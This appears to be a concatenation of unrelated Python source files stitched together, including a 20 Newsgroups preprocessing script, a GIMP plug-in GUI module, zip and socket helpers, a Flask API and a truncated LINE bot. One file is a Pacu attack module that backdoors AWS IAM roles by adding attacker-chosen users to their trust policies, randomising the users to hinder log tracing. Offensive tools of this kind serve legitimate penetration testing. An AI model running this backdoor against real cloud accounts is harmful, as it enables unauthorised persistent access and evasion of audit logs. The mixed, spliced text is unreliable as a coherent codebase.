import pandas as pd
from sklearn.datasets import fetch_20newsgroups
from transformers import AutoTokenizer

# load dataset, remove headers, footers, quotes
data_train = fetch_20newsgroups(
    subset="train",
    shuffle=True,
    random_state=42,
    remove=("headers", "footers", "quotes"),
)

data_test = fetch_20newsgroups(
    subset="test",
    shuffle=True,
    random_state=42,
    remove=("headers", "footers", "quotes"),
)

print(f"Loading 20 newsgroups dataset:")
print(data_train.target_names)
print(f"{len(data_train.data)} documents")

# truncate dataset
tokenizer = AutoTokenizer.from_pretrained("distilbert-base-uncased")

def truncate(text):
    ids = tokenizer(text, truncation=True)
    # decode, convert ids to tokens
    decoded = tokenizer.decode(ids['input_ids'], skip_special_tokens=True)
    return decoded

data_test.pop('target_names')
df_test = pd.DataFrame.from_dict(data_test)[["data", "target"]]
for i, data in df_test.iterrows():
    df_test.loc[i, 'truncated'] = truncate(data["data"])

data_train.pop('target_names')
df_train = pd.DataFrame.from_dict(data_train)[["data", "target"]]
for i, data in df_train.iterrows():
    df_train.loc[i, 'truncated'] = truncate(data["data"])

# save to csv files
df_train.drop('data', axis=1).to_csv('data_train.csv', encoding='utf-8')
df_test.drop('data', axis=1).to_csv('data_test.csv', encoding='utf-8')


from __future__ import absolute_import
from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division

str = unicode

#===============================================================================

import sys
import traceback
from contextlib import contextmanager
import abc
import webbrowser

import pygtk
pygtk.require("2.0")
import gtk

import gimp
import gimpui

from . import pgsetting
from . import overwrite
from . import progress

#===============================================================================

pdb = gimp.pdb

GTK_CHARACTER_ENCODING = "utf-8"

#===============================================================================
# GTK Overwrite Chooser
#===============================================================================

class GtkDialogOverwriteChooser(overwrite.InteractiveOverwriteChooser):

  """
  This class is used to display a GTK dialog prompt in an interactive environment
  when a file about to be saved has the same name as an already existing file.
  """

  def __init__(self, values_and_display_names, default_value, default_response, title=""):

    super(GtkDialogOverwriteChooser, self).__init__(values_and_display_names, default_value, default_response)

    self._title = title

    self._init_gui()

  def _init_gui(self):
    self._dialog = gimpui.Dialog(title="", role=None)
    self._dialog.set_transient()
    self._dialog.set_border_width(8)
    self._dialog.set_resizable(False)
    self._dialog.set_title(self._title)

    self._hbox_dialog_contents = gtk.HBox(homogeneous=False)
    self._hbox_dialog_contents.set_spacing(10)
    self._dialog_icon = gtk.Image()
    self._dialog_icon.set_from_stock(gtk.STOCK_DIALOG_QUESTION, gtk.ICON_SIZE_DIALOG)
    self._dialog_text = gtk.Label("")
    self._hbox_dialog_contents.pack_start(self._dialog_icon, expand=False, fill=False)
    self._hbox_dialog_contents.pack_start(self._dialog_text, expand=False, fill=False)

    self._hbox_apply_to_all = gtk.HBox(homogeneous=False)
    self._hbox_apply_to_all.set_spacing(5)
    self._apply_to_all_checkbox = gtk.CheckButton(label=_("Apply action to all files"))
    self._hbox_apply_to_all.pack_start(self._apply_to_all_checkbox, expand=False, fill=False)

    self._dialog.vbox.set_spacing(3)
    self._dialog.vbox.pack_start(self._hbox_dialog_contents, expand=False, fill=False)
    self._dialog.vbox.pack_start(self._hbox_apply_to_all, expand=False, fill=False)

    self._buttons = {}
    for value, display_name in self.values_and_display_names:
      self._buttons[value] = self._dialog.add_button(display_name, value)

    self._dialog.action_area.set_spacing(8)

    self._apply_to_all_checkbox.connect("toggled", self._on_apply_to_all_changed)

    self._dialog.set_focus(self._buttons[self.default_value])

  def _choose(self, filename):
    if filename is not None:
      text_filename = _("A file named \"{0}\" already exists.\nWhat would you like to do?").format(filename)
    else:
      text_filename = _("A file with the same name already exists.\nWhat would you like to do?")
    self._dialog_text.set_markup("" + text_filename + "")

    self._dialog.show_all()
    self._overwrite_mode = self._dialog.run()

    if self._overwrite_mode not in self._values:
      self._overwrite_mode = self.default_response

    self._dialog.hide()

    return self._overwrite_mode

  def _on_apply_to_all_changed(self, widget):
    self._is_apply_to_all = self._apply_to_all_checkbox.get_active()

#===============================================================================
# GTK Message Dialogs
#===============================================================================

def display_exception_message(exception_message, plugin_title=None,
                              report_uri_list=None, parent=None):

  """
  Display an error message for exceptions unhandled by the plug-in.

  The message also displays the exception message in the Details box, which
  is collapsed by default.

  Optionally, the dialog can contain links to sites where the users can report
  this error, copying the exception message to better track the error down.

  Parameters:

  * `exception_message` - Exception message (usually traceback) to display in
    the Details box.

  * `plugin_title` - Name of the plug-in (string) used as the message title and
    in the message contents.

  * `report_uri_list` - List of (name, URL) tuples where the user can report
    the error. If no report list is desired, pass None or an empty sequence.

  * `parent` - Parent GUI element.
  """

  def connect_linkbuttons(report_linkbuttons):

    def open_browser(linkbutton):
      webbrowser.open_new_tab(linkbutton.get_uri())

    for linkbutton in report_linkbuttons:
      linkbutton.connect("clicked", open_browser)

  dialog = gtk.MessageDialog(parent, type=gtk.MESSAGE_ERROR, flags=gtk.DIALOG_MODAL | gtk.DIALOG_DESTROY_WITH_PARENT)
  dialog.set_markup(
    "" + _("Oops! Something went wrong.") + ""
  )
  dialog.format_secondary_markup(
    _("{0} encountered an unexpected error and has to close. Sorry about that!").format(plugin_title)
  )
  dialog.set_title(plugin_title)

  expander = gtk.Expander()
  expander.set_use_markup(True)
  expander.set_label("" + _("Details") + "")

  scrolled_window = gtk.ScrolledWindow()
  scrolled_window.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
  scrolled_window.set_size_request(400, 200)
  scrolled_window.set_shadow_type(gtk.SHADOW_IN)

  exception_text_view = gtk.TextView()
  exception_text_view.set_editable(False)
  exception_text_view.set_cursor_visible(False)
  exception_text_view.set_pixels_above_lines(1)
  exception_text_view.set_pixels_below_lines(1)
  exception_text_view.set_pixels_inside_wrap(0)
  exception_text_view.set_left_margin(5)
  exception_text_view.set_right_margin(5)
  exception_text_view.get_buffer().set_text(exception_message)

  scrolled_window.add(exception_text_view)
  expander.add(scrolled_window)

  vbox_labels_report = gtk.VBox(homogeneous=False)

  if report_uri_list is not None and report_uri_list:
    label_report_header = gtk.Label(
      _("To help fix this error, send a report containing the text "
        "in the details above to one of the following sites:")
    )
    label_report_header.set_alignment(0, 0.5)
    label_report_header.set_padding(3, 3)
    label_report_header.set_line_wrap(True)
    label_report_header.set_line_wrap_mode(gtk.WRAP_WORD)

    report_linkbuttons = []
    for name, uri in report_uri_list:
      linkbutton = gtk.LinkButton(uri, label=name)
      linkbutton.set_alignment(0, 0.5)
      report_linkbuttons.append(linkbutton)

    vbox_labels_report.pack_start(label_report_header, expand=False, fill=True)
    for linkbutton in report_linkbuttons:
      vbox_labels_report.pack_start(linkbutton, expand=False, fill=True)

    dialog.vbox.pack_end(vbox_labels_report, expand=False, fill=True)

  dialog.vbox.pack_start(expander, expand=False, fill=True)

  button_ok = dialog.add_button(gtk.STOCK_OK, gtk.RESPONSE_OK)

  dialog.set_focus(button_ok)

  if report_uri_list is not None and report_uri_list:
    # Apparently, GTK doesn't know how to open URLs on Windows, hence the custom
    # solution.
    connect_linkbuttons(report_linkbuttons)

  dialog.show_all()
  dialog.run()
  dialog.destroy()

def display_message(message, message_type, title=None, parent=None):

  """
  Display a generic message.

  Parameters:

  * `message` - The message to display.

  * `message_type` - GTK message type (gtk.INFO, gtk.WARNING, etc.).

  * `title` - Message title.

  * `parent` - Parent GUI element.
  """

  dialog = gtk.MessageDialog(parent=parent, type=message_type,
                             flags=gtk.DIALOG_MODAL | gtk.DIALOG_DESTROY_WITH_PARENT,
                             buttons=gtk.BUTTONS_OK)
  if title is not None:
    dialog.set_title(title)
  dialog.set_transient_for(parent)

  messages = message.split('\n', 1)
  if len(messages) > 1:
    dialog.set_markup(messages[0])
    dialog.format_secondary_markup(messages[1])
  else:
    dialog.set_markup(message)

  dialog.show_all()
  dialog.run()
  dialog.destroy()

#===============================================================================
# GUI excepthook
#===============================================================================

@contextmanager
def set_gui_excepthook(plugin_title, report_uri_list=None, parent=None):

  """
  Modify `sys.excepthook` to display an error dialog for unhandled exceptions.

  Don't display the dialog for exceptions which are not subclasses of
  `Exception` (such as `SystemExit or `KeyboardInterrupt`).

  Use this function as a context manager:

    with set_gui_excepthook():
      # do stuff

  Parameters:

  * `plugin_title` - Name of the plug-in (string) used as the dialog title and
    in the dialog contents.

  * `report_uri_list` - List of (name, URL) tuples where the user can report
    the error. If no report list is desired, pass None or an empty sequence.

  * `parent` - Parent GUI element.
  """

  def _gui_excepthook(exc_type, exc_value, exc_traceback):

    if issubclass(exc_type, Exception):
      exception_message = "".join(traceback.format_exception(exc_type, exc_value, exc_traceback))
      display_exception_message(exception_message, plugin_title=plugin_title,
                                report_uri_list=report_uri_list, parent=parent)
      # Make sure to quit the application since unhandled exceptions
      # can mess up the application state.
      if gtk.main_level() > 0:
        gtk.main_quit()

    _orig_sys_excepthook(exc_type, exc_value, exc_traceback)

  _orig_sys_excepthook = sys.excepthook
  sys.excepthook = _gui_excepthook

  # Unlike other functions or methods with the `contextmanager` decorator,
  # here the `yield` keyword must not be wrapped in a try-finally block.
  # I don't understand why, though. Somehow, the `finally` block would be
  # executed before `_gui_excepthook` had a chance to kick in.
  yield

  sys.excepthook = _orig_sys_excepthook

#===============================================================================
# GTK Progress Updater
#===============================================================================

class GtkProgressUpdater(progress.ProgressUpdater):

  def _fill_progress_bar(self):
    self.progress_bar.set_fraction(self._num_finished_tasks / self.num_total_tasks)
    self._force_update()

  def _set_text_progress_bar(self, text):
    self.progress_bar.set_text(text)
    self._force_update()

  def _force_update(self):
    # This is necessary for the GTK progress bar to be updated properly.
    # See http://faq.pygtk.org/index.py?req=show&file=faq23.020.htp
    while gtk.events_pending():
      gtk.main_iteration()

#===============================================================================
# Custom GTK/gimpui Elements
#===============================================================================

class IntComboBox(gimpui.IntComboBox):

  """
  This class is a `gimpui.IntComboBox` subclass that encodes `unicode` strings
  before initializing `gimpui.IntComboBox`. Apparently, `gimpui.IntComboBox`
  can only handle bytes, not `unicode` strings.
  """

  def __init__(self, labels_and_values):
    """
    Parameters:

    * `labels_and_values` - List of (`unicode`, `int`) pairs.
    """

    for i in range(0, len(labels_and_values), 2):
      labels_and_values[i] = labels_and_values[i].encode(GTK_CHARACTER_ENCODING)

    super(IntComboBox, self).__init__(tuple(labels_and_values))

#===============================================================================
# GTK Setting Presenters
#===============================================================================

class GtkSettingPresenter(pgsetting.SettingPresenter):

  """
  This class is a SettingPresenter subclass suitable for GTK GUI elements.
  """

  __metaclass__ = abc.ABCMeta

  def get_enabled(self):
    return self._element.get_sensitive()

  def set_enabled(self, value):
    self._element.set_sensitive(value)

  def get_visible(self):
    return self._element.get_visible()

  def set_visible(self, value):
    self._element.set_visible(value)

  def connect_event(self, event_func, *event_args):
    if self.value_changed_signal is not None:
      return self._element.connect(self.value_changed_signal, event_func, *event_args)
    else:
      raise TypeError("cannot connect signal if value_changed_signal is None")

  def set_tooltip(self):
    if self._setting.description is not None and self._setting.description:
      self._element.set_tooltip_text(self._setting.description)

#-------------------------------------------------------------------------------

class GtkCheckButtonPresenter(GtkSettingPresenter):

  """
  This class is a `SettingPresenter` for `gtk.CheckButton` elements.

  Value: Checked state of the checkbox (checked/unchecked).
  """

  def __init__(self, setting, element):
    super(GtkCheckButtonPresenter, self).__init__(setting, element)

    self.value_changed_signal = "clicked"

  def get_value(self):
    return self._element.get_active()

  def set_value(self, value):
    self._element.set_active(value)

class GtkEntryPresenter(GtkSettingPresenter):

  """
  This class is a `SettingPresenter` for `gtk.Entry` elements (text fields).

  Value: Text in the text field.
  """

  def get_value(self):
    return self._element.get_text().decode(GTK_CHARACTER_ENCODING)

  def set_value(self, value):
    self._element.set_text(value.encode(GTK_CHARACTER_ENCODING))
    # Place the cursor at the end of the text entry.
    self._element.set_position(-1)

class GimpUiIntComboBoxPresenter(GtkSettingPresenter):

  """
  This class is a `SettingPresenter` for `gimpui.IntComboBox` elements.

  Value: Option selected in the combobox.
  """

  def __init__(self, setting, element):
    super(GimpUiIntComboBoxPresenter, self).__init__(setting, element)

    self.value_changed_signal = "changed"

  def get_value(self):
    return self._element.get_active()

  def set_value(self, value):
    self._element.set_active(value)

class GtkExportFolderChooserPresenter(GtkSettingPresenter):

  """
  This class is a `SettingPresenter` for `gtk.FileChooserWidget` elements
  used as folder choosers for export dialogs.

  Value: Current folder.

  The current folder is determined for each image currently opened in GIMP
  separately, according to the following priority list:

    1. Last export folder of the current image
    2. Import path for the current image
    3. XCF path for the current image
    4. Last export folder of any image
    5. The 'Documents' folder in user's home folder

  Attributes:

  * `image_ids_and_folders_setting` - a `Setting` object whose value is a
    dict of <`gimp.Image`, folder name> pairs.

  * `current_image` - Current `gimp.Image` object.
  """

  def __init__(self, setting, element, image_ids_and_folders_setting, current_image):
    super(GtkExportFolderChooserPresenter, self).__init__(setting, element)

    self._image_ids_and_folders_setting = image_ids_and_folders_setting
    self.current_image = current_image

    self._location_toggle_button = self._get_location_toggle_button()

    self._set_image_ids_and_folders()

  def get_value(self):
    if not self._is_location_entry_active():
      folder = self._element.get_current_folder()
    else:
      folder = self._element.get_filename()

    if folder is not None:
      folder = folder.decode(GTK_CHARACTER_ENCODING)

    self._image_ids_and_folders_setting.value[self.current_image.ID] = folder

    return folder

  def set_value(self, value):
    """
    `value` parameter will be ignored if there is a value for folders
    1., 2. or 3. from the priority list (see the class description).
    """

    folder = self._image_ids_and_folders_setting.value[self.current_image.ID]

    if folder is not None:
      self._element.set_current_folder(folder.encode(GTK_CHARACTER_ENCODING))
    else:
      uri = pdb.gimp_image_get_imported_uri(self.current_image)
      if uri is None:
        uri = pdb.gimp_image_get_xcf_uri(self.current_image)

      if uri is not None:
        self._element.set_uri(uri.encode(GTK_CHARACTER_ENCODING))
      else:
        self._element.set_current_folder(value.encode(GTK_CHARACTER_ENCODING))

  def _get_location_toggle_button(self):
    return self._element.get_children()[0].get_children()[0].get_children()[0].get_children()[0].get_children()[0]

  def _is_location_entry_active(self):
    return self._location_toggle_button.get_active()

  def _set_image_ids_and_folders(self):
    setting = self._image_ids_and_folders_setting

    current_image_ids = set([image.ID for image in gimp.image_list()])
    setting.value = {
      image_id : setting.value[image_id]
      for image_id in setting.value.keys() if image_id in current_image_ids
    }
    for image_id in current_image_ids:
      if image_id not in setting.value.keys():
        setting.value[image_id] = None

class GtkWindowPositionPresenter(GtkSettingPresenter):

  """
  This class is a `SettingPresenter` for window or dialog elements
  (`gtk.Window`, `gtk.Dialog`) to get/set its position.

  Value: Current position of the window as a tuple with 2 integers.
  """

  def get_value(self):
    return self._element.get_position()

  def set_value(self, value):
    """
    Set new position of the window (i.e. move the window).

    Don't move the window if `value` is None or empty.
    """

    if value:
      self._element.move(*value)

class GtkExpanderPresenter(GtkSettingPresenter):

  """
  This class is a `SettingPresenter` for `gtk.Expander` elements.

  Value: Expanded state of the expander (expanded/collapsed).
  """

  def get_value(self):
    return self._element.get_expanded()

  def set_value(self, value):
    self._element.set_expanded(value)

#===============================================================================
# GTK Setting Presenter Container
#===============================================================================

class GtkSettingPresenterContainer(pgsetting.SettingPresenterContainer):

  """
  This class is used to group `SettingPresenter` objects in a GTK environment.
  """

  def _gui_on_element_value_change(self, widget, presenter, *args):
    self._on_element_value_change(presenter)

  def _gui_on_element_value_change_streamline(self, widget, presenter, *args):
    self._on_element_value_change_streamline(presenter)


import os
import zipfile
from shutil import rmtree

def unzip(file, dest):
    zip = zipfile.ZipFile(file)
    if os.path.isdir(dest):
        rmtree(dest)
    os.mkdir(dest)
    zip.extractall(dest)

    zip.close()


import socket
import sys, os
from datetime import datetime
from colorama import Fore, Back, Style
from serializer import serialize, deserialize

# def recvall(sock, bufsize=10240):
#     total_data = b''
#     while True:
#         data = sock.recv(bufsize)
#         if not data : break
#         total_data += data
#     return total_data

def remote_decompress(zipfilename, distdir, host = 'localhost', port = 9999):
    # Create a socket (SOCK_STREAM means a TCP socket)
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        # Connect to server and send data
        sock.connect((host, port))
        with open(zipfilename,'rb') as f :
            sock.sendall( f.read() )
        # Receive data from the server and shut down
        received = sock.recv(102400000)  # socket接收结束方式待修正
        result = deserialize(received)
    subfilenum , successnum = len(result), 0
    for filename , filebyte in result.items():
        if filebyte :
            if not os.path.isdir(distdir) : os.mkdir(distdir)
            with open(os.path.join(distdir,filename), 'wb') as f:
                f.write(filebyte)
            successnum +=1
    status = 2 if successnum == 0 else  0 if subfilenum == successnum else 1
    return [status, subfilenum, successnum]

def decompress_fun(zipfile_path, unzipfile_path, if_unzip_cfg):
    print(f'{Fore.GREEN} zipfile_path: %s \n unzipfile_path: %s \n if_unzip_cfg: %s {Style.RESET_ALL}' % (zipfile_path, unzipfile_path, if_unzip_cfg))
    filelist = [os.path.join(zipfile_path,fn) for fn in os.listdir(zipfile_path)]
    filelist = [fn for fn in filelist if os.path.isfile(fn)]
    zipfilelist = [fn for fn in filelist if os.path.splitext(fn)[-1].lower() == '.zip']
    print('zipfilelist: %s' % zipfilelist)
    results = {}
    for zipfilename in zipfilelist :
        starttime = datetime.now()
        status, sunfilenum, successnum = remote_decompress(zipfilename, os.path.join(unzipfile_path, os.path.splitext(os.path.basename(zipfilename))[0]), *if_unzip_cfg)
        endtime = datetime.now()
        results[zipfilename] = [status, if_unzip_cfg, starttime, endtime, sunfilenum, successnum]
    return results

if __name__ == '__main__':
    zipfile_path = './zipfile_path'
    unzipfile_path = './unzipfile_path'
    if_unzip_cfg = ('localhost', 9999)
    results = decompress_fun(zipfile_path, unzipfile_path, if_unzip_cfg)
    print(f'{Fore.GREEN} results: %s{Style.RESET_ALL}' % results)


def readDiary():
    day = input("What day do you want to read? ")
    file = open(day, "r")
    line = file.read()
    print(line)
    file.close()

def writeDiary():
    day = input("What day is your diary for? ")
    file = open(day, "w")
    line = input("Enter entry: ")
    file.write(line)
    file.close()

operation = input("Read entries or write entries (R/W)? ")

if (operation == "R"):
    readDiary()
elif (operation == "W"):
    writeDiary()
else:
    print("Sorry, you can only enter a R (for read) or W (for write).  Run the program again.")

print("=== All done ===")


#!/usr/bin/env python
# encoding: utf-8

"""
flask_hal.document
==================

Module for constructing ``HAL`` documents.

Example:
    >>> from flask_hal.document import Document
    >>> d = Document()
    >>> d.to_dict()
"""

# Standard Libs
import json

# First Party Libs
from flask_hal import link

class BaseDocument(object):
    """Constructs a ``HAL`` document.
    """

    def __init__(self, data=None, links=None, embedded=None):
        """Base ``HAL`` Document. If no arguments are provided a minimal viable
        ``HAL`` Document is created.

        Keyword Args:
            data (dict): Data for the document
            links (flask_hal.link.Collection): A collection of ``HAL`` links
            embedded: TBC

        Raises:
            TypeError: If ``links`` is not a :class:`flask_hal.link.Collection`
        """

        self.data = data
        self.embedded = embedded or {}
        self.links = links or link.Collection()

    @property
    def links(self):
        return self._links

    @links.setter
    def links(self, value):
        if not isinstance(value, link.Collection):
            if isinstance(value, (list, set, tuple)):
                value = link.Collection(*value)
            else:
                raise TypeError('links must be a {0} or {1} instance'.format(
                                link.Collection, list))
        self._links = value

    @property
    def embedded(self):
        return self._embedded

    @embedded.setter
    def embedded(self, value):
        if not isinstance(value, dict):
            raise TypeError('embedded must be a {0} instance'.format(dict))
        self._embedded = value

    def to_dict(self):
        """Converts the ``Document`` instance into an appropriate data
        structure for HAL formatted documents.

        Returns:
            dict: The ``HAL`` document data structure
        """

        document = {}

        # Add Data to the Document
        if isinstance(self.data, dict):
            document.update(self.data)

        # Add Links
        if self.links:
            document.update(self.links.to_dict())

        # Add Embedded: Embedded API TBC
        if self.embedded:
            document.update({
                '_embedded': dict(
                    (n, v.to_dict()) for n, v in self.embedded.items()
                )
            })

        return document

    def to_json(self):
        """Converts :class:`.Document` to a ``JSON`` data structure.

        Returns:
            str: ``JSON`` document
        """

        return json.dumps(self.to_dict())

class Document(BaseDocument):
    """Constructs a ``HAL`` document.
    """

    def __init__(self, data=None, links=None, embedded=None, external_self=False):
        """Initialises a new ``HAL`` Document instance. If no arguments are
        provided a minimal viable ``HAL`` Document is created.

        Keyword Args:
            data (dict): Data for the document
            links (flask_hal.link.Collection): A collection of ``HAL`` links
            embedded: TBC
            external_self: use a fully-qualified link for self

        Raises:
            TypeError: If ``links`` is not a :class:`flask_hal.link.Collection`
        """
        super(Document, self).__init__(data, links, embedded)
        self.links.append(link.Self(external=external_self))

class Embedded(BaseDocument):
    """Constructs a ``HAL`` embedded.

    Example:
        >>> document = Document(
        >>>     embedded={
        >>>         'orders': Embedded(
        >>>             embedded={'details': Embedded(
        >>>                 data={'details': {}}
        >>>             )},
        >>>             links=link.Collection(
        >>>                 link.Link('foo', 'www.foo.com'),
        >>>                 link.Link('boo', 'www.boo.com')
        >>>             ),
        >>>             data={'total': 30},
        >>>         )
        >>>     },
        >>>     data={'currentlyProcessing': 14}
        >>> )
        >>> document.to_json()
        ... {
                "_links": {
                    "self": {"href": "/entity/231"}
                },
                "_embedded": {
                    "orders": {
                        "_embedded": {
                            "details": {"details": {}}
                        },
                        "total": 30,
                        "_links": {
                            "foo": {"href": "www.foo.com"},
                            "boo": {"href": "www.boo.com"}
                        }
                    }
                },
                "currentlyProcessing": 14
            }
    """

    def to_dict(self):
        """Converts the ``Document`` instance into an appropriate data
        structure for HAL formatted documents.

        Returns:
            dict: The ``HAL`` document data structure
        """
        if isinstance(self.data, (list, tuple, set)):
            data = []

            for item in self.data:
                if isinstance(item, BaseDocument):
                    data.append(item.to_dict())
                else:
                    data.append(item)
            return data

        return super(Embedded, self).to_dict()


from flask import Flask, request
from flask_restful import Resource, Api
from joblib import load
import cv2
import time
import sys

sys.path.append("..")
from common import utils

app = Flask(__name__)
api = Api(app)

class predict(Resource):
    w_search_range = 32
    h_search_range = 16
    scaling_factor = 2
    stride = 2
    roi_h_len = int( 320 / scaling_factor )
    roi_w_len = int( 480 / scaling_factor)
    clf = load('od.joblib')
    pre_pos = (128, 96)
    captured = False

    def dynamic_gen_roi_pos(self, image, stride):
        if predict.captured == True:
            predict.w_search_range -= predict.stride
            predict.h_search_range -= int(predict.stride / 2)
        else:
            predict.w_search_range += predict.stride
            predict.h_search_range += int(predict.stride / 2)

        if predict.w_search_range < 2 * predict.stride:
            predict.w_search_range = 2 * predict.stride

        if predict.h_search_range < predict.stride:
            predict.h_search_range = predict.stride

        return utils.gen_roi_pos(predict.pre_pos, predict.w_search_range, predict.h_search_range, stride)

    def get_rect(self, image_stream):
        result = {"objects":[]}
        print("=======================================")
        print("start read {0}".format(time.time()))
        img_data = utils.readb64(image_stream)
        img_h = int(img_data.shape[0] / self.scaling_factor)
        img_w = int(img_data.shape[1] / self.scaling_factor)
        print("start resize {0}".format(time.time()))
        resized_img = cv2.resize(img_data, (img_w, img_h), interpolation=cv2.INTER_AREA)
        print("gen roi {0}".format(time.time()))
        locations = self.dynamic_gen_roi_pos(resized_img, self.stride)
        print("location len {0}".format(len(locations)))

        hog_features = utils.get_hog(resized_img, locations=locations,
                                    winSize=(self.roi_w_len, self.roi_h_len))
        hog_feature_list = list(utils.chunks(hog_features, int(len(hog_features) / len(locations))))

        predict_results = predict.clf.predict(hog_feature_list)

        predict.captured = False

        for i in range(0,len(predict_results)):
            if predict_results[i] == 0:
                u_h = locations[i][1]
                d_h = u_h + self.roi_h_len
                l_w = locations[i][0]
                r_w = l_w + self.roi_w_len
                result["objects"].append({
                    "positions":
                        {"cross": [[l_w * self.scaling_factor, u_h * self.scaling_factor]
                            , [r_w * self.scaling_factor, u_h * self.scaling_factor]
                            , [r_w * self.scaling_factor, d_h * self.scaling_factor]
                            , [l_w * self.scaling_factor, d_h * self.scaling_factor]]},
                    "attributes":
                        {"status": "Normal"}
                    }
                )
                predict.pre_pos = (l_w, u_h)
                predict.captured = True
                break

        return result

    def post(self):
        result = {"results": []}
        try:
            data = request.json
            for pic in data["params"]:
                result["results"].append(self.get_rect(pic["data"]))
        except Exception as e:
            print(e)
        return result

api.add_resource(predict,"/")

if __name__ == '__main__':
    app.run(host='localhost', port=8888)


#!/usr/bin/env python3
import argparse
import json
from random import choice

from botocore.exceptions import ClientError

module_info = {
    # Name of the module (should be the same as the filename)
    'name': 'iam__backdoor_assume_role',

    # Name and any other notes about the author
    'author': 'Spencer Gietzen of Rhino Security Labs based on the idea from https://github.com/dagrz/aws_pwn/blob/master/persistence/backdoor_all_roles.py',

    # Category of the module. Make sure the name matches an existing category.
    'category': 'PERSIST',

    # One liner description of the module functionality. This shows up when a user searches for modules.
    'one_liner': 'Creates assume-role trust relationships between users and roles.',

    # Description about what the module does and how it works
    'description': 'This module creates a trust relationship between one or more user accounts and one or more roles in the account, allowing those users to assume those roles.',

    # A list of AWS services that the module utilizes during its execution
    'services': ['IAM'],

    # For prerequisite modules, try and see if any existing modules return the data that is required for your module before writing that code yourself, that way, session data can stay separated and modular.
    'prerequisite_modules': ['iam__enum_users_roles_policies_groups'],

    # Module arguments to autocomplete when the user hits tab
    'arguments_to_autocomplete': ['--role-names', '--user-arns', '--no-random'],
}

parser = argparse.ArgumentParser(add_help=False, description=module_info['description'])

parser.add_argument('--role-names', required=False, default=None, help='A comma-separated list of role names from the AWS account that trust relationships should be created with. Defaults to all roles.')
parser.add_argument('--user-arns', required=False, default=None, help='A comma-separated list of user ARNs that the trust relationship with roles should be created with. By default, user ARNs in this list are chosen at random for each role to try and prevent the tracking of the logs all back to one user account. Without this argument, the module will default to the current user.')
parser.add_argument('--no-random', required=False, action='store_true', help='If this argument is supplied in addition to a list of user ARNs, a trust relationship is created for each user in the list with each role, rather than one of them at random.')

def main(args, pacu_main):
    session = pacu_main.get_active_session()

    ###### Don't modify these. They can be removed if you are not using the function.
    args = parser.parse_args(args)
    print = pacu_main.print
    input = pacu_main.input
    key_info = pacu_main.key_info
    fetch_data = pacu_main.fetch_data
    get_aws_key_by_alias = pacu_main.get_aws_key_by_alias
    ######

    client = pacu_main.get_boto3_client('iam')

    rolenames = []
    user_arns = []
    summary_data = {}

    if args.role_names is None:
        print('Fetching Roles... ')
        if fetch_data(['IAM', 'Roles'], module_info['prerequisite_modules'][0], '--roles') is False:
            print('Sub-module Execution Failed')
            print('  Exiting...')
            return
        for role in session.IAM['Roles']:
            rolenames.append(role['RoleName'])
        print('{} Role(s) Found'.format(len(session.IAM['Roles'])))
    else:
        rolenames = args.role_names.split(',')

    if args.user_arns is None:
        # Find out the current users ARN
        # This should be moved into the creds array in the "Arn" parameter for those set of keys that are running this module
        user = key_info()
        active_aws_key = get_aws_key_by_alias(session.key_alias)

        if 'Arn' not in user or user['Arn'] is None:
            sts_client = pacu_main.get_boto3_client('sts')
            user_info = sts_client.get_caller_identity()
            active_aws_key.update(pacu_main.database, arn=user_info['Arn'], user_id=user_info['UserId'], account_id=user_info['Account'])

        user_arns.append(active_aws_key.arn)
    else:
        if ',' in args.user_arns:
            user_arns.extend(args.user_arns.split(','))
        else:
            user_arns.append(args.user_arns)  # Only one ARN was passed in

    iam = pacu_main.get_boto3_resource('iam')
    backdoored_role_count = 0
    print('Backdoor the following roles?')
    for rolename in rolenames:
        target_role = 'n'
        if args.role_names is None:
            target_role = input('  {}  (Y/N) '.format(rolename))

        if target_role.lower() == 'y' or args.role_names is not None:
            print('    Backdooring {}...'.format(rolename))
            try:
                role = iam.Role(rolename)
                original_policy = role.assume_role_policy_document
                hacked_policy = modify_assume_role_policy(original_policy, user_arns, args.no_random)
                client.update_assume_role_policy(
                    RoleName=rolename,
                    PolicyDocument=json.dumps(hacked_policy)
                )
                print('    Backdoor successful!')
                backdoored_role_count += 1
            except ClientError as error:
                print('      FAILURE:')
                code = error.response['Error']['Code']
                if code == 'UnmodifiableEntity':
                    print('        SERVICE PROTECTED BY AWS')
                elif code == 'AccessDenied':
                    print('        MISSING NEEDED PERMISSIONS')
                else:
                    print('        {}'.format(code))
    summary_data['RoleCount'] = backdoored_role_count
    return summary_data

def summary(data, pacu_main):
    out = ''
    if 'RoleCount' in data:
        out += '  {} Role(s) successfully backdoored\n'.format(data['RoleCount'])
    return out

def modify_assume_role_policy(original_policy, user_arns, no_random):
    if 'Statement' in original_policy:
        statements = original_policy['Statement']

        for statement in statements:
            if 'Effect' in statement and statement['Effect'] == 'Allow':
                if 'Principal' in statement and isinstance(statement['Principal'], dict):
                    # Principals can be services, federated users, etc.
                    # 'AWS' signals a specific account based resource
                    # print(statement['Principal'])
                    if 'AWS' in statement['Principal']:
                        if isinstance(statement['Principal']['AWS'], list):
                            # If there are multiple principals, append to the list
                            if no_random:
                                for arn in user_arns:
                                    statement['Principal']['AWS'].append(arn)

                            else:
                                arn = choice(user_arns)
                                statement['Principal']['AWS'].append(arn)

                        else:
                            # If a single principal exists, make it into a list
                            statement['Principal']['AWS'] = [statement['Principal']['AWS']]
                            if no_random:
                                for arn in user_arns:
                                    statement['Principal']['AWS'].append(arn)

                            else:
                                arn = choice(user_arns)
                                statement['Principal']['AWS'].append(arn)

                    else:
                        # No account based principal principal exists
                        if no_random and len(user_arns) > 1:
                            statement['Principal']['AWS'] = []
                            for arn in user_arns:
                                statement['Principal']['AWS'].append(arn)

                        else:
                            arn = choice(user_arns)
                            statement['Principal']['AWS'] = arn

                elif 'Principal' not in statement:
                    # This shouldn't be possible, but alas, it is
                    if no_random and len(user_arns) > 1:
                            statement['Principal'] = {'AWS': []}
                            for arn in user_arns:
                                statement['Principal']['AWS'].append(arn)

                    else:
                        arn = choice(user_arns)
                        statement['Principal'] = {'AWS': arn}

    return original_policy  # now modified in line


#from _future_ import print_function
#from apiclient.discovery import build
#from httplib2 import Http
#from oauth2client import file, client, tools

#import time
#import re
#import datetime
#import random
#import codecs
#import sys
#import json

import numpy as np
import pandas as pd
from ExchangeCrawler import TaiwanExchangeCrawler
import utils

from flask import Flask, request, abort
from urllib.request import urlopen
#from oauth2client.service_account import ServiceAccountCredentials

from linebot import (
    LineBotApi, WebhookHandler
)
from linebot.exceptions import (
